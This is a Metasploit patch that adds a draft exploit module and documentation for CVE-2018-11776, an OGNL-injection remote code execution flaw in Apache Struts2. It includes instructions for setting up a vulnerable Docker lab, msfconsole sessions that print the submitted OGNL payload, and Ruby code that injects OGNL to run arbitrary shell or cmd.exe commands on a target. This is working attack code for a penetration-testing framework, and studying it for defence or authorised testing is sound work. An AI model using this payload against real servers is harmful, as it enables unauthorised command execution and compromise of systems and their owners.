From b373dcc5d4d3bbca4eba40a95cf711d62ba76bfc Mon Sep 17 00:00:00 2001 From: asoto-r7 Date: Tue, 28 Aug 2018 16:53:26 -0500 Subject: [PATCH] First draft of module and documentation for struts_namespace_rce against CVE-2018-11776 --- .../multi/http/struts_namespace_rce.md | 129 ++++++++++++++++ .../multi/http/struts_namespace_rce.rb | 144 ++++++++++++++++++ 2 files changed, 273 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/struts_namespace_rce.md create mode 100644 modules/exploits/multi/http/struts_namespace_rce.rb diff --git a/documentation/modules/exploit/multi/http/struts_namespace_rce.md b/documentation/modules/exploit/multi/http/struts_namespace_rce.md new file mode 100644 index 0000000000..5c6ff21ed2 --- /dev/null +++ b/documentation/modules/exploit/multi/http/struts_namespace_rce.md @@ -0,0 +1,129 @@ +CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles namespaces and redirection, which permits an attacker to execute [OGNL(https://commons.apache.org/proper/commons-ognl/language-guide.html) remotely. Using OGNL, the attacker can modify files and execute commands. + +The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter. + +## Vulnerable Application + + The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment. + *@hook-s3c* did an amazing job with [their writeup](https://github.com/hook-s3c/CVE-2018-11776-Python-PoC/blob/master/README.md), which I'll include exerpts of here: + + 1. From a stock Ubuntu VM, install docker: + ``` + sudo apt update && sudo apt install docker.io + ``` + + 2. Download a vulnerable Struts showcase application inside a docker container: + ``` + sudo docker pull piesecurity/apache-struts2-cve-2017-5638 + sudo docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638 + CONTAINER_ID=`sudo docker ps -l -q` + ``` + + 3. Now that the container is running, open a terminal inside of it: + ``` + sudo docker exec -it $CONTAINER_ID /bin/bash + ``` + + 4. From within the container, install your text editor of choice and modify the Struts configs: + ``` + sudo apt update && sudo apt install nano + nano /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml + ``` + + 5. Update the struts config to add this to above line #11: + ``` + + ``` + + 6. Update the same struts config file to add this above line #78: + ``` + + + date.action + + + ``` + + 7. Still within the container, shutdown the environment: + ``` + /usr/local/tomcat/bin/shutdown.sh + ``` + + 8. Upon completion, the container will shutdown and you'll return to the host environment. Restart the container, now with a vulnerable endpoint: + ``` + sudo docker start $CONTAINER_ID + ``` + + Congratulations. You now have a vulnerable Struts server. If you're following these instructions, your server should be listening on 0.0.0.0:32771. To confirm: + ``` + INTERFACE=`ip route list 0.0.0.0/0 | cut -d' ' -f5` + IPADDRESS=`ip addr show $INTERFACE | grep -Po 'inet \K[\d.]+'` + PORT_NUM=`sudo docker port $CONTAINER_ID | sed 's/.*://'` + echo "Struts container is listening on $IPADDRESS:$PORT_NUM" + ``` + +## Verification Steps + + Confirm that check functionality works: + - [ ] Install the application using the steps above. + - [ ] Start msfconsole. + - [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce``` + - [ ] Set the RHOST. + - [ ] Set an invalid ACTION: ```set ACTION wrong.action``` + - [ ] Confirm the target is *not* vulnerable: ```check``` + - [ ] Observe that the target is *not* vulnerable: ```The target is not exploitable.``` + - [ ] Set a valid ACTION: ```set ACTION help.action``` + - [ ] Confirm that the target is vulnerable: ```The target is vulnerable.``` + + Confirm that command execution functionality works: + - [ ] Set a payload: ```set PAYLOAD cmd/unix/generic``` + - [ ] Set a command to be run: ```set CMD hostname``` + - [ ] Run the exploit: ```run``` + - [ ] Confirm the output is the container ID of your docker environment, e.g: ```b3d9b350d9b6``` + - [ ] You will not be given a shell (yet). + + Confirm that payload upload and execution works: + - [ ] It doesn't (yet). +## Options + + **TARGETURI** + + The path to the struts application. Note that this does not include the endpoint. In the environment above, the path is `/`. + + **ACTION** + + The endpoint name. In the environment above, the endpoint is `help.action`. + +## Scenarios + +### Version of software and OS as applicable + + Checking a vulnerable endpoint, as installed in the above steps. + + ``` + msf > use exploit/multi/http/struts_namespace_rce + msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135 + msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771 + msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action + ACTION => help.action + msf5 exploit(multi/http/struts_namespace_rce) > check + [+] 192.168.199.135:32771 The target is vulnerable. + ``` + + Running an arbitrary command on the above-described environment: + + ``` + msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true + msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic +PAYLOAD => cmd/unix/generic +msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname +CMD => hostname +msf5 exploit(multi/http/struts_namespace_rce) > run +[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush()) + +[*] Command ran. Output from command: +b3d9b350d9b6 + +[*] Exploit completed, but no session was created. +msf5 exploit(multi/http/struts_namespace_rce) > + ``` diff --git a/modules/exploits/multi/http/struts_namespace_rce.rb b/modules/exploits/multi/http/struts_namespace_rce.rb new file mode 100644 index 0000000000..03d86ba163 --- /dev/null +++ b/modules/exploits/multi/http/struts_namespace_rce.rb @@ -0,0 +1,144 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in Apache Struts + version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed + via an endpoint that makes use of a redirect action. + + Native payloads will be converted to executables and dropped in the + server's temp dir. If this fails, try a cmd/* payload, which won't + have to write to the disk. + }, + 'Author' => [ + 'Man Yue Mo', # Discovery + 'hook-s3c', # PoC + 'asoto-r7', # Metasploit module + 'wvu-r7' # Metasploit module + ], + 'References' => [ + ['CVE', '2018-11776'], + ['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'], + ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'] + ], + 'Privileged' => true, + 'Targets' => [ + [ + 'Universal', { + 'Platform' => %w{ unix windows linux }, + 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], + }, + ], + ], + 'DisclosureDate' => 'Apr 10 2018', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]), + OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]) + ] + ) + register_advanced_options( + [ + OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]) + ] + ) + end + + def check + # Generate two random numbers, ask the target to add them together. + # If it does, it's vulnerable. + a = rand(10000) + b = rand(10000) + c = a+b + + ognl = "#{a}+#{b}" + + begin + resp = send_struts_request(ognl) + rescue Msf::Exploit::Failed => error + print_error(error.to_s) + return Exploit::CheckCode::Unknown + end + + # If vulnerable, the server should return an HTTP 302 (Redirect) + # and the 'Location' header should contain the sum of our two numbers (a+b) + if resp && resp.code == 302 && (resp.headers['Location'].include?c.to_s) + vprint_status("Submitted OGNL: #{ognl}") + vprint_status("Redirected to: #{resp.headers['Location']}") + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + case payload.arch.first + when ARCH_CMD + resp = execute_command(payload.encoded) + else + fail_with(Failure::BadConfig,"Only cmd payloads are currently supported.") + resp = send_payload() + end + end + + def send_struts_request(ognl) + uri = normalize_uri("/${#{ognl}}/",datastore['ACTION']) + + resp = send_request_cgi( + 'encode' => true, + 'uri' => uri, + 'method' => datastore['HTTPMethod'] + ) + + if resp && resp.code == 404 + fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI and ACTION') + end + resp + end + + def execute_command(cmd_input) + # The following OGNL will run arbitrary commands on Windows and Linux + # targets, as well as returning STDOUT and STDERR. + # In my testing, the request timed out after 3 seconds. + ognl = "(#_memberAccess['allowStaticMethodAccess']=true)." + ognl << "(#cmd='" + cmd_input + "')." + ognl << "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." + ognl << "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))." + ognl << "(#p=new java.lang.ProcessBuilder(#cmds))." + ognl << "(#p.redirectErrorStream(true))." + ognl << "(#process=#p.start())." + ognl << "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + ognl << "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + ognl << "(#ros.flush())" + + vprint_status("Submitted OGNL: #{ognl}") + + resp = send_struts_request(ognl) + + if resp && resp.code == 200 + print_status("Command ran. Output from command:\n#{resp.body}") + else + print_error("Failed to run command. Response from server: #{resp.to_s}") + end + end + + def send_payload(exe) + # TODO: Have the ability to upload/run payloads + + # send_struts_request(ognl) + end +end